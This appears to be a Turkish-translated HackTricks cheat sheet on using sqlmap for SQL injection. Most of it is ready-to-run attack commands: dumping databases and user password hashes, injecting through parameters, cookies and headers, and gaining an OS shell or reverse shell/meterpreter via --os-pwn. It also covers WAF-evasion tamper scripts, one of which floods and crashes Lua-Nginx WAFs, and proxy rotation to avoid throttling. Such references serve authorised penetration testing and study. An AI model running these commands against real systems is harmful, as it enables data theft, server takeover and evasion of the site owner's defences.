SQLMap

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

SQLmap için temel argümanlar

Genel

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Teknik bayrakları (--technique)

--technique argümanı sqlmap’in deneyeceği SQL injection yöntemlerini tanımlar. Dizedeki her karakter bir tekniği temsil eder:

HarfTeknikAçıklama
BBoolean-based blindVerileri çıkarmak için true/false koşullarını kullanır
EError-basedAyrıntılı DBMS hata mesajlarını kullanarak sonuçları exfiltrate eder
UUNION queryAynı kanal üzerinden veri almak için UNION SELECT ifadeleri enjekte eder
SStacked queries; ile ayrılmış ek ifadeler ekler
TTime-based blindEnjeksiyonu tespit etmek için gecikmelere (SLEEP, WAITFOR) dayanır
QInline / out-of-bandLOAD_FILE() gibi fonksiyonları veya DNS gibi OOB kanallarını kullanır

Varsayılan sıra BEUSTQ’dur. Bunları yeniden sıralayabilir veya sınırlayabilirsiniz, örn. sadece Boolean ve Time-based bu sırada:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Bilgi Alma

Dahili

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB verisi

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection yeri

Burp/ZAP capture’ten

Request’i yakalayın ve req.txt dosyası oluşturun

sqlmap -r req.txt --current-user

GET İstek Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Headers ve diğer HTTP Methods’taki Enjeksiyonlar

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

SQLmap ile bir web sitesini tarama ve auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Injection Özelleştirme

Sonek ayarla

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Önek

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

boolean injection bulma yardımı

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.pyTek tırnak karakterini UTF-8 tam genişlik eşdeğeriyle değiştirir
apostrophenullencode.pyTek tırnak karakterini yasadışı çift unicode karşılığıyla değiştirir
appendnullbyte.pyPayload’ın sonuna kodlanmış NULL byte karakteri ekler
base64encode.pyVerilen payload’taki tüm karakterleri Base64 ile kodlar
between.pyBüyüktür operatörünü (‘>’) ‘NOT BETWEEN 0 AND #’ ile değiştirir
bluecoat.pySQL ifadesinden sonraki boşluk karakterini geçerli rastgele bir boş karakterle değiştirir. Ardından karakter = ‘LIKE’ operatörü ile değiştirilir
chardoubleencode.pyVerilen payload’taki tüm karakterleri çift url-encode eder (zaten kodlanmış olanları işlemden geçirmez)
commalesslimit.py‘LIMIT M, N’ gibi ifadeleri ‘LIMIT N OFFSET M’ ile değiştirir
commalessmid.py‘MID(A, B, C)’ gibi örnekleri ‘MID(A FROM B FOR C)’ ile değiştirir
concat2concatws.py‘CONCAT(A, B)’ gibi örnekleri ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’ ile değiştirir
charencode.pyVerilen payload’taki tüm karakterleri url-encode eder (zaten kodlanmış olanları işlemden geçirmez)
charunicodeencode.pyVerilen payload’taki kodlanmamış karakterleri Unicode-url-encode eder (zaten kodlanmış olanları işlemden geçirmez). “%u0022”
charunicodeescape.pyVerilen payload’taki kodlanmamış karakterleri Unicode-url-encode eder (zaten kodlanmış olanları işlemden geçirmez). “\u0022”
equaltolike.pyEşittir operatörünün (‘=’) tüm örneklerini ‘LIKE’ operatörü ile değiştirir
escapequotes.pyTırnakları ters eğik çizgi ile escape eder (’ ve “)
greatest.pyBüyüktür operatörünü (‘>’) ‘GREATEST’ eşdeğeriyle değiştirir
halfversionedmorekeywords.pyHer anahtar kelimenin öncesine sürümlü MySQL yorumu ekler
ifnull2ifisnull.py‘IFNULL(A, B)’ gibi örnekleri ‘IF(ISNULL(A), B, A)’ ile değiştirir
modsecurityversioned.pyTam sorguyu sürümlü bir yorumla sarar
modsecurityzeroversioned.pyTam sorguyu sıfır-sürüm yorumu ile sarar
multiplespaces.pySQL anahtar kelimelerinin etrafına birden çok boşluk ekler
nonrecursivereplacement.pyÖn tanımlı SQL anahtar kelimelerini, değiştirme filtrelerine uygun temsillerle değiştirir (ör. .replace(“SELECT”, “”)) filtreleri
percentage.pyHer karakterin önüne bir yüzde işareti (‘%’) ekler
overlongutf8.pyVerilen payload’taki tüm karakterleri overlong UTF-8 biçimine dönüştürür (zaten kodlanmış olanları işlemden geçirmez)
randomcase.pyHer anahtar kelime karakterini rastgele büyük/küçük harf durumuyla değiştirir
randomcomments.pySQL anahtar kelimelerine rastgele yorumlar ekler
securesphere.pyÖzel oluşturulmuş bir dize ekler
sp_password.pyDBMS loglarından otomatik olarak karartma yapmak için payload’ın sonuna ‘sp_password’ ekler
space2comment.pyBoşluk karakterini (’ ’) yorumlarla değiştirir
space2dash.pyBoşluk karakterini (’ ‘) bir tire yorumu (’–‘) ile değiştirir; ardından rastgele bir dize ve yeni bir satır (’\n’) ekler
space2hash.pyBoşluk karakterini (’ ‘) bir pound karakteri (’#‘) ile değiştirir; ardından rastgele bir dize ve yeni bir satır (’\n’) ekler
space2morehash.pyBoşluk karakterini (’ ‘) bir pound karakteri (’#‘) ile değiştirir; ardından rastgele bir dize ve yeni bir satır (’\n’) ekler
space2mssqlblank.pyBoşluk karakterini (’ ’) geçerli alternatif karakterler kümesinden rastgele bir boş karakterle değiştirir
space2mssqlhash.pyBoşluk karakterini (’ ‘) bir pound karakteri (’#‘) ile değiştirir; ardından yeni bir satır (’\n’) ekler
space2mysqlblank.pyBoşluk karakterini (’ ’) geçerli alternatif karakterler kümesinden rastgele bir boş karakterle değiştirir
space2mysqldash.pyBoşluk karakterini (’ ‘) bir tire yorumu (’–‘) ile değiştirir; ardından yeni bir satır (’\n’) ekler
space2plus.pyBoşluk karakterini (’ ‘) artı işareti (’+’) ile değiştirir
space2randomblank.pyBoşluk karakterini (’ ’) geçerli alternatif karakterler kümesinden rastgele bir boş karakterle değiştirir
symboliclogical.pyAND ve OR mantıksal operatörlerini sembolik karşılıklarıyla (&& ve ||) değiştirir
unionalltounion.pyUNION ALL SELECT ifadesini UNION SELECT ile değiştirir
unmagicquotes.pyTırnak karakterini (’) çok baytlı bir kombinasyon olan %bf%27 ile ve sonuna genel bir yorum ekleyerek değiştirir (çalışması için)
uppercase.pyHer anahtar kelime karakterini büyük harf değeriyle değiştirir ‘INSERT’
varnish.pyHTTP başlığı ‘X-originating-IP’ ekler
versionedkeywords.pyHer fonksiyon olmayan anahtar kelimeyi sürümlü MySQL yorumu ile çevreler
versionedmorekeywords.pyHer anahtar kelimeyi sürümlü MySQL yorumu ile çevreler
xforwardedfor.pySahte bir HTTP başlığı ‘X-Forwarded-For’ ekler
luanginxmore.pyPOST-only tamper that prepends millions of dummy parameters to exhaust Lua‑Nginx WAF parsers (e.g., Cloudflare).

luanginxmore payload’tan önce ~4.2M rastgele POST parametresi üretir; bunu yalnızca --method=POST ile kullanın ve büyük istek boyutlarının kötü yapılandırılmış Lua-Nginx WAF’larını çökertmesini bekleyin.

Etkinleştirmeye Değer Yeni Seçenekler (>=1.9.x)

  • HTTP/2 transport: --http2 forces sqlmap to speak HTTP/2 (helpful against front-ends that rate-limit HTTP/1.1 but relax h2). Combine with --force-ssl to pin HTTPS.
  • Proxy rotation: --proxy-file proxies.txt --proxy-freq 3 will rotate through a list, changing proxy every 3 requests to avoid IP-based throttling.
  • Offline / purge modes: --offline reuses cached session data without touching the target (zero network traffic), while --purge securely wipes the session/output directory when you’re done.
  • Mobile UA emulation: --mobile prompts you to spoof a popular smartphone User-Agent, useful on APIs that expose additional fields to mobile clients.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin